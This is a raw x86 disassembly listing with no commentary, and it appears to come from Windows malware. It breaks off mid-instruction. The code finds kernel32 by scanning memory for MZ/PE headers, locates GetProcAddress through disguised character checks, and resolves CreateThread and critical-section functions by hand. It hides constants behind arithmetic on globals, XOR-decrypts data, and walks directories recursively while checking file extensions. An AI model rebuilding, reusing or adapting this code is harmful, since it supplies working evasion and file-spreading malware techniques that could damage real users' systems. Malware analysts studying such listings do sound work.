O U T I N E ======================================= ; Attributes: bp-based frame sub_43D98E proc near ; CODE XREF: sub_440E73+54p ; sub_440E73+CEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_0] movzx ebx, byte ptr [eax] movsx eax, word_54F0D0 mov edx, dword_54F114 lea eax, [eax+edx+0F9h] imul ebx, eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+1] add ebx, eax movsx eax, word_54F208 movsx edx, word_54F0D0 lea eax, [eax+edx+0F9h] imul ebx, eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+2] add ebx, eax mov esi, dword_54F150 sub esi, 4 jmp short loc_43DA32 ; --------------------------------------------------------------------------- loc_43D9E7: ; CODE XREF: sub_43D98E+B3j mov edi, dword_54F100 sub edi, 6 sub edi, esi mov edx, [ebp+arg_4] mov [ebp+var_4], edx mov edx, ebx and edx, 8000003Fh jge short loc_43DA07 dec edx or edx, 0FFFFFFC0h inc edx loc_43DA07: ; CODE XREF: sub_43D98E+72j mov dl, ds:byte_54DF40[edx] mov ecx, [ebp+var_4] mov [ecx+edi], dl mov eax, ebx mov edi, dword_54F15C add edi, 37h movsx edx, word_54F0F8 mov ecx, edi add ecx, edx cdq idiv ecx mov ebx, eax add esi, 1 loc_43DA32: ; CODE XREF: sub_43D98E+57j movsx eax, word_54F0FC add eax, dword_54F124 cmp esi, eax jl short loc_43D9E7 pop edi pop esi pop ebx leave retn sub_43D98E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DA48 proc near ; CODE XREF: sub_4395D8+93p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push edi mov edi, [ebp+arg_0] call sub_44122A or eax, eax jz short loc_43DA7E push dword_54F288 push 1 push edi call ds:dword_54C968 mov [ebp+var_4], eax push dword_54F288 push 4 push edi call ds:dword_54C968 mov [ebp+var_8], eax loc_43DA7E: ; CODE XREF: sub_43DA48+10j pop edi leave retn sub_43DA48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DA81 proc near ; DATA XREF: .data:off_54F2A8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] push offset dword_550A98 push esi call ds:dword_50C93C or eax, eax jz short loc_43DAAD mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43DAFC ; --------------------------------------------------------------------------- loc_43DAAD: ; CODE XREF: sub_43DA81+1Aj push offset dword_550A18 push esi call ds:dword_50C93C or eax, eax jz short loc_43DACD mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43DAFC ; --------------------------------------------------------------------------- loc_43DACD: ; CODE XREF: sub_43DA81+3Aj push offset dword_5509F8 push esi call ds:dword_50C93C or eax, eax jz short loc_43DAED mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43DAFC ; --------------------------------------------------------------------------- loc_43DAED: ; CODE XREF: sub_43DA81+5Aj mov eax, dword_54F0AC sub eax, 7 mov [edi], eax mov eax, 80004002h loc_43DAFC: ; CODE XREF: sub_43DA81+2Aj ; sub_43DA81+4Aj ... pop edi pop esi pop ebx pop ebp retn 0Ch sub_43DA81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DB03 proc near ; CODE XREF: sub_43C114+142p ; sub_43DB03+29Dp ... var_268 = byte ptr -268h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = word ptr -258h var_256 = word ptr -256h var_252 = word ptr -252h var_250 = word ptr -250h var_24E = word ptr -24Eh var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_8 = byte ptr 10h arg_18 = byte ptr 20h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 268h push ebx push esi push edi push 0 call ds:dword_50C924 xor ebx, ebx inc ebx push offset byte_54FEAF call sub_43AAF7 push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50C928 add esp, 14h lea eax, [ebp+var_13E] push eax lea eax, [ebp+var_242] push eax call ds:dword_4CA228 mov [ebp+var_248], eax mov ecx, dword_54F1B4 add ecx, dword_54F158 sub ecx, 6 neg ecx cmp eax, ecx jnz loc_43DD54 mov eax, dword_54F114 add eax, 3FDh add eax, dword_54F168 cmp [ebp+arg_24], eax jnb short loc_43DB9C mov eax, dword_54F1BC add eax, 97h movsx edx, word_54F1E8 add eax, edx cmp [ebp+arg_24], eax jnz loc_43DE1D loc_43DB9C: ; CODE XREF: sub_43DB03+7Bj movsx eax, word_54F0FC sub eax, 2 cmp [ebp+arg_20], eax ja loc_43DE1D movsx eax, word_54F118 add eax, 30D38h cmp [ebp+arg_24], eax ja loc_43DE1D lea eax, [ebp+arg_18] push eax lea eax, [ebp+arg_8] push eax call ds:dword_54DB10 mov [ebp+var_260], eax mov eax, dword_54F1F8 add eax, dword_54F170 sub eax, 7 cmp [ebp+var_260], eax jge short loc_43DBFB lea edi, [ebp+var_268] lea esi, [ebp+arg_18] movsd movsd jmp short loc_43DC06 ; --------------------------------------------------------------------------- loc_43DBFB: ; CODE XREF: sub_43DB03+E9j lea edi, [ebp+var_268] lea esi, [ebp+arg_8] movsd movsd loc_43DC06: ; CODE XREF: sub_43DB03+F6j lea eax, [ebp+var_258] push eax lea eax, [ebp+var_268] push eax call ds:dword_54CA78 movsx eax, word_54F190 movzx edx, [ebp+var_24E] movzx ecx, [ebp+var_250] mov esi, dword_54F134 add esi, 3Ah imul ecx, esi add edx, ecx movzx ecx, [ebp+var_252] mov esi, dword_54F17C add esi, 0Dh add esi, dword_54F170 imul ecx, esi movsx esi, word_54F1C4 mov edi, dword_54F234 lea esi, [esi+edi+2Ch] imul ecx, esi add edx, ecx movzx ecx, [ebp+var_256] mov esi, dword_54F0F0 add esi, 18h add esi, dword_54F158 imul ecx, esi mov esi, eax add esi, 10h imul ecx, esi mov esi, dword_54F1F8 add esi, 34h add esi, dword_54F200 imul ecx, esi add edx, ecx movzx ecx, [ebp+var_258] mov esi, dword_54F1B8 add esi, 4 add esi, dword_54F184 imul ecx, esi mov esi, dword_54F220 add esi, 1Ah movsx edi, word_54F0F4 add esi, edi imul ecx, esi movsx esi, word_54F0C4 lea eax, [eax+esi+0Ah] imul ecx, eax mov eax, dword_54F23C add eax, 34h add eax, dword_54F1A0 imul ecx, eax mov eax, edx add eax, ecx mov [ebp+var_25C], eax mov edx, ds:dword_446030 cmp eax, edx ja loc_43DE1D sub edx, eax mov eax, dword_54F0D4 add eax, 8 movsx ecx, word_54F1E8 add eax, ecx cmp edx, eax jnb loc_43DE1D mov eax, dword_54F1BC add eax, 9Eh cmp [ebp+arg_24], eax jz short loc_43DD42 push 0 push [ebp+arg_0] call sub_444250 add esp, 8 jmp loc_43DE1D ; --------------------------------------------------------------------------- loc_43DD42: ; CODE XREF: sub_43DB03+22Bj push 1 push [ebp+arg_0] call sub_444250 add esp, 8 jmp loc_43DE1D ; --------------------------------------------------------------------------- loc_43DD54: ; CODE XREF: sub_43DB03+62j cmp [ebp+var_112], 2Eh jz loc_43DE19 push offset word_54FEA6 call sub_43AAF7 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50C928 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43DB03 add esp, 158h jmp short loc_43DE19 ; --------------------------------------------------------------------------- loc_43DDAD: ; CODE XREF: sub_43DB03+318j lea eax, [ebp+var_13E] push eax push [ebp+var_248] call ds:dword_447FC8 mov ebx, eax or ebx, ebx jz short loc_43DE1D cmp [ebp+var_112], 2Eh jz short loc_43DE19 push offset byte_54FE9D call sub_43AAF7 lea edi, [ebp+var_112] push edi push [ebp+arg_0] push eax lea edi, [ebp+var_242] push edi call ds:dword_50C928 lea esi, [ebp+var_13E] sub esp, 140h mov edi, esp mov ecx, 9Fh rep movsw lea edi, [ebp+var_242] push edi call sub_43DB03 add esp, 158h loc_43DE19: ; CODE XREF: sub_43DB03+258j ; sub_43DB03+2A8j ... or ebx, ebx jnz short loc_43DDAD loc_43DE1D: ; CODE XREF: sub_43DB03+93j ; sub_43DB03+A6j ... pop edi pop esi pop ebx leave retn sub_43DB03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DE22 proc near ; CODE XREF: sub_43B535+164p ; sub_43BA83+40p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, dword_54F170 sub eax, 4 mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_43DE3E: ; CODE XREF: sub_43DE22+21j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43DE3E mov esi, eax mov eax, [ebp+arg_0] lea ecx, [eax] or eax, 0FFFFFFFFh loc_43DE4F: ; CODE XREF: sub_43DE22+32j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43DE4F mov [ebp+var_C], eax mov eax, dword_54F1AC sub eax, 2 mov [ebp+var_4], eax jmp short loc_43DEB3 ; --------------------------------------------------------------------------- loc_43DE66: ; CODE XREF: sub_43DE22+97j mov ebx, dword_54F130 dec ebx mov eax, dword_54F0B0 mov edi, eax add edi, dword_54F17C sub edi, 0Ch jmp short loc_43DEAC ; --------------------------------------------------------------------------- loc_43DE7F: ; CODE XREF: sub_43DE22+8Cj mov eax, [ebp+var_4] add eax, edi mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+eax] mov edx, [ebp+arg_4] movsx edx, byte ptr [edx+edi] cmp eax, edx jnz short loc_43DEB0 inc ebx cmp ebx, esi jnz short loc_43DEAB inc [ebp+var_8] mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jnz short loc_43DEAB mov eax, [ebp+var_4] jmp short loc_43DEC0 ; --------------------------------------------------------------------------- loc_43DEAB: ; CODE XREF: sub_43DE22+77j ; sub_43DE22+82j inc edi loc_43DEAC: ; CODE XREF: sub_43DE22+5Bj cmp edi, esi jb short loc_43DE7F loc_43DEB0: ; CODE XREF: sub_43DE22+72j inc [ebp+var_4] loc_43DEB3: ; CODE XREF: sub_43DE22+42j mov eax, [ebp+var_C] cmp [ebp+var_4], eax jb short loc_43DE66 mov eax, 0FFFFh loc_43DEC0: ; CODE XREF: sub_43DE22+87j pop edi pop esi pop ebx leave retn sub_43DE22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DEC5 proc near ; CODE XREF: sub_440B82+294p ; sub_441F06+15p ... var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] cmp dword_54F250, 0 jnz short loc_43DEED push offset dword_54E050 call ds:dword_447FCC mov dword_54F250, 1 loc_43DEED: ; CODE XREF: sub_43DEC5+11j mov esi, dword_54F12C add esi, dword_54F1E0 sub esi, 6 movzx ebx, byte ptr [edi] movzx edx, byte ptr [edi+2] movzx edx, dx shl edx, 8 or ebx, edx movzx ebx, bx mov edx, dword_54F1C0 inc edx imul ebx, edx add esi, ebx mov [ebp+var_4], si movzx eax, [ebp+var_4] mov edx, dword_54F1FC add edx, 5 add edx, dword_54F130 cmp eax, edx jz loc_43DFB9 push offset dword_54E050 call ds:dword_54C95C mov eax, dword_54F134 add eax, 4 mov [ebp+var_2], ax jmp short loc_43DF74 ; --------------------------------------------------------------------------- loc_43DF52: ; CODE XREF: sub_43DEC5+B9j movzx eax, [ebp+var_2] add eax, edi movsx edx, byte ptr [eax] movsx ecx, byte ptr [edi+4] xor edx, ecx mov [eax], dl movzx eax, [ebp+var_2] mov edx, dword_54F114 inc edx add eax, edx mov [ebp+var_2], ax loc_43DF74: ; CODE XREF: sub_43DEC5+8Bj movzx eax, [ebp+var_2] movzx edx, [ebp+var_4] cmp eax, edx jl short loc_43DF52 mov eax, dword_54F114 dec eax mov edx, dword_54F1F4 add edx, dword_54F22C sub edx, 10h mov [edi+eax], dl movsx eax, word_54F144 sub eax, 2 mov edx, dword_54F178 sub edx, 9 mov [edi+eax], dl push offset dword_54E050 call ds:dword_4CB940 loc_43DFB9: ; CODE XREF: sub_43DEC5+6Ej lea eax, [edi+6] pop edi pop esi pop ebx leave retn sub_43DEC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DFC1 proc near ; CODE XREF: sub_43B76D+218p var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_281 = byte ptr -281h var_267 = byte ptr -267h var_252 = byte ptr -252h var_245 = byte ptr -245h var_230 = dword ptr -230h var_22A = byte ptr -22Ah var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = byte ptr -220h var_21F = byte ptr -21Fh var_215 = byte ptr -215h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_103 = byte ptr -103h var_102 = byte ptr -102h var_101 = byte ptr -101h var_FE = byte ptr -0FEh var_FD = byte ptr -0FDh var_FC = byte ptr -0FCh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch push ebx push esi push edi mov edi, [ebp+arg_0] movsx esi, word_54F138 movsx edx, word_54F0FC lea ecx, [esi+edx+0Bh] shr edi, cl movsx esi, word_54F0C4 mov edx, dword_54F1EC lea esi, [esi+edx+7] mov ecx, esi mov ebx, edi shl ebx, cl loc_43DFFB: ; CODE XREF: sub_43DFC1+55j ; sub_43DFC1+9Bj ... mov [ebp+var_114], ebx mov eax, ebx cmp word ptr [eax], 5A4Dh jz short loc_43E018 mov eax, dword_54F154 add eax, 0FFF8h sub ebx, eax jmp short loc_43DFFB ; --------------------------------------------------------------------------- loc_43E018: ; CODE XREF: sub_43DFC1+47j mov eax, dword_54F0F0 add eax, 33h movsx edx, word_54F0D0 add eax, edx mov edx, ebx add edx, eax mov [ebp+var_10C], edx mov eax, edx mov edx, ebx add edx, [eax] mov [ebp+var_118], edx mov eax, [ebp+arg_0] cmp edx, eax jbe short loc_43E05E movsx eax, word_54F198 mov edx, dword_54F19C lea eax, [eax+edx+0FFFBh] sub ebx, eax jmp short loc_43DFFB ; --------------------------------------------------------------------------- loc_43E05E: ; CODE XREF: sub_43DFC1+83j mov eax, [ebp+var_118] mov [ebp+var_11C], eax movzx eax, word ptr [eax] cmp eax, 4550h jz short loc_43E085 mov eax, dword_54F214 add eax, 0FFFDh sub ebx, eax jmp loc_43DFFB ; --------------------------------------------------------------------------- loc_43E085: ; CODE XREF: sub_43DFC1+B1j mov eax, [ebp+var_11C] mov eax, [eax+78h] mov [ebp+var_120], eax mov ecx, ebx add ecx, eax mov [ebp+var_110], ecx mov eax, ecx mov edx, ebx add edx, [eax+0Ch] push edx lea eax, [ebp+var_103] push eax call sub_4455D4 mov eax, dword_54F1F8 sub eax, 3 mov [ebp+var_4], eax jmp short loc_43E0E1 ; --------------------------------------------------------------------------- loc_43E0BF: ; CODE XREF: sub_43DFC1+13Fj mov eax, [ebp+var_4] mov al, [ebp+eax+var_103] cmp al, 61h jle short loc_43E0DE cmp al, 7Ah jge short loc_43E0DE mov eax, [ebp+var_4] lea eax, [ebp+eax+var_103] sub byte ptr [eax], 20h loc_43E0DE: ; CODE XREF: sub_43DFC1+10Aj ; sub_43DFC1+10Ej inc [ebp+var_4] loc_43E0E1: ; CODE XREF: sub_43DFC1+FCj mov eax, [ebp+var_4] movsx eax, [ebp+eax+var_103] mov edx, dword_54F108 movsx ecx, word_54F0CC add edx, ecx sub edx, 9 cmp eax, edx jnz short loc_43E0BF cmp [ebp+var_101], 52h jz short loc_43E13C cmp [ebp+var_FD], 33h jz short loc_43E13C cmp [ebp+var_102], 45h jz short loc_43E13C cmp [ebp+var_FE], 4Ch jz short loc_43E13C cmp [ebp+var_103], 4Bh jz short loc_43E13C cmp [ebp+var_FC], 32h jnz loc_43E35F loc_43E13C: ; CODE XREF: sub_43DFC1+148j ; sub_43DFC1+151j ... mov eax, dword_54F158 sub eax, 3 mov [ebp+var_108], eax jmp loc_43E34A ; --------------------------------------------------------------------------- loc_43E14F: ; CODE XREF: sub_43DFC1+398j mov eax, [ebp+var_108] mov ecx, dword_54F168 add ecx, 2 mul ecx mov [ebp+var_228], eax mov edx, ebx add edx, eax mov eax, [ebp+var_110] add edx, [eax+20h] mov [ebp+var_10C], edx mov eax, edx mov edx, ebx add edx, [eax] mov [ebp+var_224], edx push edx lea eax, [ebp+var_21F] push eax call sub_4455D4 mov eax, dword_54F1E0 cmp [ebp+eax+var_220], 50h jnz loc_43E344 mov eax, dword_54F160 cmp byte ptr [ebp+eax+var_224], 74h jnz loc_43E344 mov eax, dword_54F24C mov edx, eax add edx, eax cmp [ebp+edx+var_22A], 41h jnz loc_43E344 mov eax, dword_54F19C add eax, dword_54F0B0 cmp byte ptr [ebp+eax+var_228], 47h jnz loc_43E344 movsx eax, word_54F0FC add eax, dword_54F1D8 cmp [ebp+eax+var_21F], 63h jnz loc_43E344 movsx eax, word_54F218 cmp [ebp+eax+var_215], 72h jnz loc_43E344 mov eax, [ebp+var_108] mov ecx, dword_54F214 movsx esi, word_54F0B4 add ecx, esi sub ecx, 6 mul ecx mov [ebp+var_288], eax mov edx, ebx add edx, eax mov eax, [ebp+var_110] add edx, [eax+24h] mov [ebp+var_114], edx movzx eax, word ptr [edx] mov [ebp-22Ch], eax mov ecx, dword_54F12C sub ecx, 4 mul ecx mov [ebp+var_28C], eax mov edx, ebx add edx, eax mov eax, [ebp+var_110] add edx, [eax+1Ch] mov [ebp+var_10C], edx mov eax, edx mov edx, ebx add edx, [eax] mov [ebp+var_230], edx lea edi, [ebp+var_245] lea esi, aLeavecriticals ; "LeaveCriticalSection" mov ecx, 15h rep movsb lea edi, [ebp+var_252] lea esi, aCreatethread ; "CreateThread" mov ecx, 0Dh rep movsb mov dword_54F254, ebx mov eax, [ebp+var_230] mov ds:dword_4491AC, eax lea edi, [ebp+var_267] lea esi, aEntercriticals ; "EnterCriticalSection" mov ecx, 15h rep movsb lea edi, [ebp+var_281] lea esi, aInitializecrit ; "InitializeCriticalSection" mov ecx, 0Dh rep movsw lea eax, [ebp+var_245] push eax push dword_54F254 call ds:dword_4491AC mov ds:dword_4CB940, eax lea eax, [ebp+var_281] push eax push dword_54F254 call ds:dword_4491AC mov ds:dword_447FCC, eax lea eax, [ebp+var_252] push eax push dword_54F254 call ds:dword_4491AC mov ds:dword_54DF20, eax lea eax, [ebp+var_267] push eax push dword_54F254 call ds:dword_4491AC mov ds:dword_54C95C, eax jmp short loc_43E35F ; --------------------------------------------------------------------------- loc_43E344: ; CODE XREF: sub_43DFC1+1DEj ; sub_43DFC1+1F1j ... inc [ebp+var_108] loc_43E34A: ; CODE XREF: sub_43DFC1+189j mov eax, [ebp+var_110] mov eax, [eax+18h] cmp [ebp+var_108], eax jb loc_43E14F loc_43E35F: ; CODE XREF: sub_43DFC1+175j ; sub_43DFC1+381j pop edi pop esi pop ebx leave retn sub_43DFC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E364 proc near ; CODE XREF: sub_444839+211p var_30037 = byte ptr -30037h var_20038 = dword ptr -20038h var_20034 = dword ptr -20034h var_20030 = dword ptr -20030h var_2002C = dword ptr -2002Ch var_20028 = dword ptr -20028h var_20024 = dword ptr -20024h var_20020 = byte ptr -20020h var_2001C = dword ptr -2001Ch var_20018 = dword ptr -20018h var_20014 = dword ptr -20014h var_20010 = dword ptr -20010h var_2000C = dword ptr -2000Ch var_20008 = dword ptr -20008h var_20004 = dword ptr -20004h var_1FFFE = byte ptr -1FFFEh var_1FFFD = byte ptr -1FFFDh var_1FFFB = byte ptr -1FFFBh var_1FFFA = byte ptr -1FFFAh var_10004 = byte ptr -10004h var_10002 = byte ptr -10002h var_FFFF = byte ptr -0FFFFh arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_24 = dword ptr 2Ch push ebp mov ebp, esp mov eax, 30038h call sub_4455B4 push ebx push esi push edi lea eax, [ebp+var_20018] push eax mov eax, dword_54F14C add eax, dword_54F110 sub eax, 0Bh push eax lea eax, [ebp+arg_14] push eax lea eax, [ebp+arg_4] push eax mov eax, dword_54F11C sub eax, 2 push eax mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr [ebx+54h] mov edi, eax mov eax, dword_54F1DC add eax, dword_54F1D4 sub eax, 8 cmp edi, eax jnz loc_43E775 loc_43E3BC: ; CODE XREF: sub_43E364+3F0j mov eax, dword_54F0B8 add eax, dword_54F1FC sub eax, 4 push eax lea eax, [ebp+var_20024] push eax movsx eax, word_54F1F0 sub eax, 5 push eax mov eax, [ebp+var_20018] push eax mov ebx, [eax] call dword ptr [ebx+0Ch] mov edi, eax movsx eax, word_54F208 movsx edx, word_54F0C4 add eax, edx sub eax, 7 cmp edi, eax jnz loc_43E759 mov esi, dword_54F110 sub esi, 9 lea eax, [ebp+var_1FFFE] push eax push [ebp+var_20024] call sub_43BBFE add esp, 8 and [ebp+var_20004], 0 mov eax, dword_54F24C add eax, dword_54F160 sub eax, 10h mov [ebp+var_20028], eax mov [ebp+var_20014], 10h movsx eax, word_54F0CC add eax, dword_54F174 sub eax, 8 mov [ebp+var_20008], eax movsx eax, word_54F1A8 mov [ebp+var_2000C], eax mov [ebp+var_20010], 2 mov eax, dword_54F0C0 add eax, dword_54F23C sub eax, 2 push eax lea eax, [ebp+var_20014] push eax lea eax, [ebp+var_20004] push eax lea eax, [ebp+var_20028] push eax push [ebp+var_20024] lea eax, [ebp+arg_14] push eax lea eax, [ebp+arg_4] push eax mov eax, dword_54F0C8 add eax, dword_54F150 sub eax, 5 push eax mov eax, [ebp+arg_0] push eax mov ebx, [eax] call dword ptr [ebx+44h] mov edi, eax mov eax, dword_54F0D8 movsx edx, word_54F0CC add eax, edx sub eax, 7 cmp edi, eax jnz loc_43E5FA movsx eax, word_54F1C4 mov esi, eax add esi, dword_54F184 sub esi, 0Bh cmp [ebp+var_1FFFE], 44h jnz short loc_43E4FF cmp [ebp+var_1FFFD], 50h jz short loc_43E504 loc_43E4FF: ; CODE XREF: sub_43E364+190j jmp loc_43E5FA ; --------------------------------------------------------------------------- loc_43E504: ; CODE XREF: sub_43E364+199j cmp [ebp+var_1FFFB], 50h jnz short loc_43E516 cmp [ebp+var_1FFFA], 49h jz short loc_43E51B loc_43E516: ; CODE XREF: sub_43E364+1A7j jmp loc_43E5FA ; --------------------------------------------------------------------------- loc_43E51B: ; CODE XREF: sub_43E364+1B0j mov eax, [ebp+var_20004] mov [ebp+var_2002C], eax mov eax, [ebp+var_20028] mov [ebp+var_20030], eax lea eax, [ebp+var_20020] push eax mov eax, dword_54F1F4 mov edx, eax add edx, dword_54F184 sub edx, 0Dh push edx mov edx, dword_54F14C sub edx, 2 push edx mov edx, dword_54F10C add edx, eax mov eax, edx sub eax, 0Bh push eax movsx eax, word_54F210 add eax, dword_54F1F8 sub eax, 8 push eax mov eax, dword_54F0EC dec eax push eax lea eax, [ebp+var_20030] push eax call ds:dword_446028 mov [ebp+var_20034], eax mov ecx, dword_54F0E4 add ecx, dword_54F188 sub ecx, 0Ah cmp eax, ecx jnz short loc_43E5B8 movsx eax, word_54F0FC movsx edx, word_54F09C mov esi, eax add esi, edx sub esi, 8 jmp short loc_43E5FA ; --------------------------------------------------------------------------- loc_43E5B8: ; CODE XREF: sub_43E364+23Bj movsx eax, word_54F104 mov esi, eax add esi, dword_54F20C sub esi, 2 lea eax, [ebp+var_30037] push eax push [ebp+var_2001C] call sub_43BBFE add esp, 8 movsx eax, word_54F218 cmp [ebp+var_2001C], eax jz short loc_43E5FA push [ebp+var_2001C] call ds:dword_4495CC loc_43E5FA: ; CODE XREF: sub_43E364+171j ; sub_43E364:loc_43E4FFj ... mov eax, dword_54F0D4 mov edx, dword_54F130 add edx, dword_54F1A0 sub edx, 9 mov [ebp+eax+var_10002], dl mov [ebp+eax+var_10004], 50h mov eax, dword_54F248 mov [ebp+eax+var_10002], 7Ch push [ebp+arg_24] lea eax, [ebp+var_FFFF] push eax call ds:dword_44602C push offset dword_54FE98 call sub_43AAF7 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44602C push offset byte_54FE7B call sub_43AAF7 mov ebx, dword_54F24C sub ebx, 8 push ebx push eax push [ebp+arg_24] call sub_43DE22 add esp, 24h movsx edx, word_54F1F0 add edx, 0FFF9h cmp eax, edx jz short loc_43E69B lea eax, [ebp+var_1FFFE] push eax lea eax, [ebp+var_FFFF] push eax call sub_43F81A add esp, 8 jmp short loc_43E6CA ; --------------------------------------------------------------------------- loc_43E69B: ; CODE XREF: sub_43E364+31Dj lea eax, [ebp+var_1FFFE] push eax lea eax, [ebp+var_FFFF] push eax call ds:dword_44602C push offset word_54FE76 call sub_43AAF7 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44602C add esp, 14h loc_43E6CA: ; CODE XREF: sub_43E364+335j mov eax, dword_54F1D0 add eax, dword_54F1F4 sub eax, 0Fh cmp esi, eax jnz short loc_43E6EA mov eax, [ebp+var_20004] mov [ebp+var_20038], eax jmp short loc_43E6F6 ; --------------------------------------------------------------------------- loc_43E6EA: ; CODE XREF: sub_43E364+376j lea eax, [ebp+var_30037] mov [ebp+var_20038], eax loc_43E6F6: ; CODE XREF: sub_43E364+384j push [ebp+var_20038] lea eax, [ebp+var_FFFF] push eax call ds:dword_44602C push offset byte_54FE71 call sub_43AAF7 push eax lea ebx, [ebp+var_FFFF] push ebx call ds:dword_44602C add esp, 14h mov eax, dword_54F22C add eax, dword_54F0B0 sub eax, 0Ch cmp [ebp+var_20004], eax jz short loc_43E746 push [ebp+var_20004] call ds:dword_48A1EC loc_43E746: ; CODE XREF: sub_43E364+3D4j lea eax, [ebp+var_FFFF] push eax call ds:dword_48A1E0 pop ecx jmp loc_43E3BC ; --------------------------------------------------------------------------- loc_43E759: ; CODE XREF: sub_43E364+9Cj movsx eax, word_54F0CC dec eax cmp [ebp+var_20018], eax jz short loc_43E775 mov eax, [ebp+var_20018] push eax mov ebx, [eax] call dword ptr [ebx+8] loc_43E775: ; CODE XREF: sub_43E364+52j ; sub_43E364+403j pop edi pop esi pop ebx leave retn sub_43E364 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E77A proc near ; CODE XREF: sub_43BE1F+3Ep ; sub_43E77A+21Fp ... var_259 = byte ptr -259h var_258 = byte ptr -258h var_257 = byte ptr -257h var_256 = byte ptr -256h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_242 = byte ptr -242h var_13E = byte ptr -13Eh var_112 = byte ptr -112h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp [ebp+arg_8], 0 jz short loc_43E7A8 mov eax, dword_54F15C add eax, dword_54F130 sub eax, 5 mov [ebp+var_248], eax jmp loc_43E82E ; --------------------------------------------------------------------------- loc_43E7A8: ; CODE XREF: sub_43E77A+13j mov edx, [ebp+arg_4] movsx ecx, word_54F0F8 sub ecx, 5 cmp ds:dword_4495E0[edx*4], ecx jnz short loc_43E7DA push esi call ds:dword_4495BC mov eax, dword_54F1EC add eax, dword_54F134 sub eax, 4 push eax call ds:dword_54C960 loc_43E7DA: ; CODE XREF: sub_43E77A+42j mov eax, dword_54F10C add eax, 62h mov [ebp+var_248], eax push offset byte_54FE69 call sub_43AAF7 push [ebp+arg_4] push eax lea edx, [ebp+var_256] push edx call ds:dword_50C928 add esp, 10h lea eax, [ebp+var_256] push eax call ds:dword_54C964 cmp eax, 3 jnz short loc_43E82E mov eax, dword_54F0D8 add eax, 122h add eax, dword_54F1D8 mov [ebp+var_248], eax loc_43E82E: ; CODE XREF: sub_43E77A+29j ; sub_43E77A+9Cj xor edi, edi inc edi mov ecx, ebx or eax, 0FFFFFFFFh loc_43E836: ; CODE XREF: sub_43E77A+C1j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43E836 mov [ebp+var_24C], eax push offset word_54FE62 call sub_43AAF7 add esp, 4 push ebx push eax lea edx, [ebp+var_242] push edx call ds:dword_50C928 add esp, 0Ch mov eax, [ebp+var_24C] movsx edx, word_54F240 add edx, dword_54F11C sub edx, 5 sub eax, edx cmp byte ptr [ebx+eax], 2Eh jnz loc_43E92F mov eax, [ebp+var_24C] sub eax, 4 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44603C add esp, 4 mov edx, eax mov [ebp+var_257], dl mov eax, [ebp+var_24C] sub eax, 2 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44603C add esp, 4 mov edx, eax mov [ebp+var_258], dl mov eax, [ebp+var_24C] sub eax, 3 movsx eax, byte ptr [ebx+eax] push eax call ds:dword_44603C add esp, 4 mov edx, eax mov [ebp+var_259], dl cmp [ebp+var_257], 4Ch jnz short loc_43E905 cmp 